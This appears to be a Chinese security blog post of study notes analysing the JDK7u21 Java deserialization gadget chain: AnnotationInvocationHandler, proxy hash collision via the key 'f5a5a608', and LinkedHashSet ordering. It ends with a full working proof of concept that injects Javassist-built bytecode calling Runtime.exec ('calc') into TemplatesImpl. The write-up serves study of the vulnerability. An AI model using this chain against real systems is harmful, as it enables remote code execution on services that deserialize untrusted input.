https://blog.csdn.net/rfrder/article/details/120007644
p 牛 java 安全漫谈
# AnnotationInvocationHandler.equalsImpl
我们看一下 getMemberMethods
调用的是 this.type.getDeclaredMethods()
,也就是说控制一下 this.type
就能调用想用的方法
由于 equalsImpl
是一个私有方法,所以我们需要去寻找一个调用了该方法的 public
方法
这一步只需要让 this.type
为 Templates.class
即可
看一下构造函数
先示意一下
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); | |
Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class); | |
annotationInvocationHandlerConstruct.setAccessible(true); | |
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstruct.newInstance(Templates.class, new HashMap ); |
# AnnotationInvocationHandler.invoke
由动态代理的知识,我们只需要找到一个代理类,使其调用 equals
方法即可
# HashSet.readObject
这里使用了一个 HashMap
,将对象保存在 HashMap
的 key
处来做去重
跟进下 HashMap
的 put
方法
这个 i
就是哈希值,只有两个不同的对象的哈希值相同时才会执行到 key.equals(k)
,因为当 i
不同的时候两个对象会存在 table[i]
不在同一位置上
我们接下来的目的就是让 proxy
对象的哈希值,等于 TemplateImpl
对象的哈希值
# hash 碰撞
计算哈希的主要是下面这两行代码:
int hash = hash(key); | |
int i = indexFor(hash, table.length); |
将其中的关键逻辑提权出来,可以得到下面这个函数:
public static int hash(Object key) { | |
int h = 0; | |
h ^= key.hashCode(); | |
h ^= (h >>> 20) ^ (h >>> 12); | |
h = h ^ (h >>> 7) ^ (h >>> 4); | |
return h & 15; | |
} |
除了 key.hashCode()
外再没有其他变量,所以 proxy
对象与 TemplateImpl
对象的 “哈希” 是否相等,仅 取决于这两个对象的 hashCode()
是否相等。 TemplateImpl
的 hashCode()
是一个 Native
方法,每次运 行都会发生变化,我们理论上是无法预测的,所以想让 proxy
的 hashCode()
与之相等,只能寄希望于 proxy.hashCode()
proxy.hashCode()
仍然会调用到 AnnotationInvocationHandler.invoke
,进而调用到 AnnotationInvocationHandler.hashCodeImpl
,我们看看这个方法:
private int hashCodeImpl() { | |
int var1 = 0; | |
Entry var3; | |
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) { | |
var3 = (Entry)var2.next(); | |
} | |
return var1; | |
} |
遍历 memberValues
这个 Map
中的每个 key
和 value
,计算每个 (127 * key.hashCode()) ^ value.hashCode()
并求和。
JDK7u21
中使用了一个非常巧妙的方法:
- 当
memberValues
中只有一个key
和一个value
时,该哈希简化成(127 * key.hashCode()) ^ value.hashCode()
- 当
key.hashCode()
等于 0 时,任何数异或 0 的结果仍是他本身,所以该哈希简化成value.hashCode()
。 - 当
value
就是TemplateImpl
对象时,这两个哈希就变成完全相等
所以,我们找到一个 hashCode
是 0 的对象作为 memberValues
的 key
,将恶意 TemplateImpl
对象作为 value
,这个 proxy
计算的 hashCode
就与 TemplateImpl
对象本身的 hashCode
相等了。 找一个 hashCode
是 0 的对象,我们可以写一个简单的爆破程序来实现
public static void bruteHashCode() | |
{ | |
for (long i = 0; i < 9999999999L; i++) { | |
if (Long.toHexString(i).hashCode() == 0) { | |
System.out.println(Long.toHexString(i)); | |
} | |
} | |
} |
跑出来第一个是 f5a5a608
也就是说,要求 AnnotationInvocationHandler.memberValues
的 key
为 f5a5a608
,值为恶意的 TemplatesImpl
类
HashMap<String, Object> memberValues = new HashMap<String, Object>(); | |
memberValues.put("f5a5a608",templates); | |
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); | |
Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class); | |
annotationInvocationHandlerConstruct.setAccessible(true); | |
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstruct.newInstance(Templates.class, memberValues); |
做个测试
TemplatesImpl templates = new TemplatesImpl(); | |
setValue(templates,"_name", "aaa"); | |
byte[] code = getTemplatesImpl("calc"); | |
byte[][] bytecodes = {code}; | |
setValue(templates, "_bytecodes", bytecodes); | |
setValue(templates,"_tfactory", new TransformerFactoryImpl()); | |
HashMap<String, Object> memberValues = new HashMap<String, Object>(); | |
memberValues.put("f5a5a608",templates); | |
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); | |
Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class); | |
annotationInvocationHandlerConstruct.setAccessible(true); | |
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstruct.newInstance(Templates.class, memberValues); | |
Map proxy = (Map) Proxy.newProxyInstance(HashMap.class.getClassLoader(), new Class[]{Map.class}, h); | |
System.out.println("Templates hashcode : " + templates.hashCode()); | |
System.out.println("proxy hashcode : " + proxy.hashCode()); |
代理类是什么无所谓,只要有 equals
方法即可,后面的就很简单了
# poc
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; | |
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; | |
import javassist.ClassPool; | |
import javassist.CtClass; | |
import javassist.CtConstructor; | |
import javax.xml.transform.Templates; | |
import java.io.ByteArrayInputStream; | |
import java.io.ByteArrayOutputStream; | |
import java.io.ObjectInputStream; | |
import java.io.ObjectOutputStream; | |
import java.lang.reflect.Constructor; | |
import java.lang.reflect.Field; | |
import java.lang.reflect.InvocationHandler; | |
import java.lang.reflect.Proxy; | |
import java.util.HashMap; | |
import java.util.HashSet; | |
import java.util.LinkedHashSet; | |
import java.util.Map; | |
public class test { | |
public static void setValue(Object target, String name, Object value) throws Exception { | |
Class c = target.getClass(); | |
Field field = c.getDeclaredField(name); | |
field.setAccessible(true); | |
field.set(target,value); | |
} | |
public static byte[] getTemplatesImpl(String cmd) { | |
try { | |
ClassPool pool = ClassPool.getDefault(); | |
CtClass ctClass = pool.makeClass("Evil"); | |
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); | |
ctClass.setSuperclass(superClass); | |
CtConstructor constructor = ctClass.makeClassInitializer(); | |
constructor.setBody(" try {\n" + | |
" Runtime.getRuntime().exec(\"" + cmd + | |
"\");\n" + | |
" } catch (Exception ignored) {\n" + | |
" }"); | |
byte[] bytes = ctClass.toBytecode(); | |
ctClass.defrost(); | |
return bytes; | |
} catch (Exception e) { | |
e.printStackTrace(); | |
return new byte[]{}; | |
} | |
} | |
public static void main(String[] args) throws Exception { | |
TemplatesImpl templates = new TemplatesImpl(); | |
setValue(templates,"_name", "aaa"); | |
byte[] code = getTemplatesImpl("calc"); | |
byte[][] bytecodes = {code}; | |
setValue(templates, "_bytecodes", bytecodes); | |
setValue(templates,"_tfactory", new TransformerFactoryImpl()); | |
HashMap<String, Object> memberValues = new HashMap<String, Object>(); | |
memberValues.put("f5a5a608","miku"); | |
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); | |
Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class); | |
annotationInvocationHandlerConstruct.setAccessible(true); | |
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstruct.newInstance(Templates.class, memberValues); | |
Templates proxy = (Templates) Proxy.newProxyInstance( | |
Templates.class.getClassLoader(), | |
new Class[]{Templates.class}, | |
h | |
); | |
Map proxy2 = (Map) Proxy.newProxyInstance(HashMap.class.getClassLoader(), new Class[]{Map.class}, h); | |
HashSet hashSet = new LinkedHashSet(); | |
hashSet.add(templates); | |
hashSet.add(proxy2); | |
memberValues.put("f5a5a608",templates); | |
ByteArrayOutputStream baos = new ByteArrayOutputStream(); | |
ObjectOutputStream oos = new ObjectOutputStream(baos); | |
oos.writeObject(hashSet); | |
oos.close(); | |
// 反序列化 | |
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); | |
ObjectInputStream ois = new ObjectInputStream(bais); | |
ois.readObject(); | |
ois.close(); | |
} | |
} |
解释一下为啥用的 LinkedHashMap
反序列化的时候 2 次 put,必须第一次 put 的是 TemplatesImpl 对象,第二次是代理对象,才可以成功反序列化。说白了就是,次序上需要可控:
- LinkedHashSet 是 Set 的一个具体实现,其维护着一个运行于所有条目的双重链接列表。此链接列表定义了迭代顺序,该迭代顺序可为插入顺序或是访问顺序。
- LinkedHashSet 继承与 HashSet,并且其内部是通过 LinkedHashMap 来实现的。有点类似于我们之前说的 LinkedHashMap 其内部是基于 Hashmap 实现一样,不过还是有一点点区别的
- 如果我们需要迭代的顺序为插入顺序或者访问顺序,那么 LinkedHashSet 是需要你首先考虑的。